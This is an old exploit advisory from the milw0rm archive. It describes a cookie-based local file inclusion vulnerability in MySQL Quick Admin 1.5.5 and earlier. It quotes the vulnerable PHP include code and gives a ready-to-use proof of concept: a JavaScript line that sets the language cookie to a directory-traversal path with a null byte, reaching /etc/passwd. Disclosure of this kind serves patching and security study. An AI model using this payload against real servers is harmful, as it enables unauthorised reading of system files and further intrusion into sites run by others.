42 lines
No EOL
993 B
Text
42 lines
No EOL
993 B
Text
# MySQL Quick Admin <= 1.5.5 (COOKIE) Local File Inclusion Vulnerability
|
|
# url: http://www.mysqlquickadmin.com/
|
|
#
|
|
# Author: JosS
|
|
# mail: sys-project[at]hotmail[dot]com
|
|
# site: http://spanish-hackers.com
|
|
# team: Spanish Hackers Team - [SHT]
|
|
#
|
|
# This was written for educational purpose. Use it at your own risk.
|
|
# Author will be not responsible for any damage.
|
|
#
|
|
# Greetz To: Pepelux :)
|
|
#
|
|
# *Requirements: magic_quotes_gpc = Off
|
|
|
|
vuln file: /includes/required.php
|
|
vuln code:
|
|
|
|
if(!empty($_COOKIE['language']) && !isset($_SESSION['language'])){
|
|
$_SESSION['language'] = $_COOKIE['language'];
|
|
}
|
|
|
|
....
|
|
|
|
if(LANG == ""){
|
|
if(!isset($_SESSION['language'])){
|
|
include("lang/english/lang.php");
|
|
$_LANG = "english";
|
|
} else {
|
|
include("lang/".$_SESSION['language']."/lang.php");
|
|
$_LANG = $_SESSION['language'];
|
|
}
|
|
|
|
... }
|
|
|
|
LFI (poc):
|
|
1) javascript:document.cookie="language=../../../../../../../../../../etc/passwd%00; path=/";
|
|
2) and enters /index.php
|
|
|
|
Ingenious work :D
|
|
|
|
# milw0rm.com [2008-10-01] |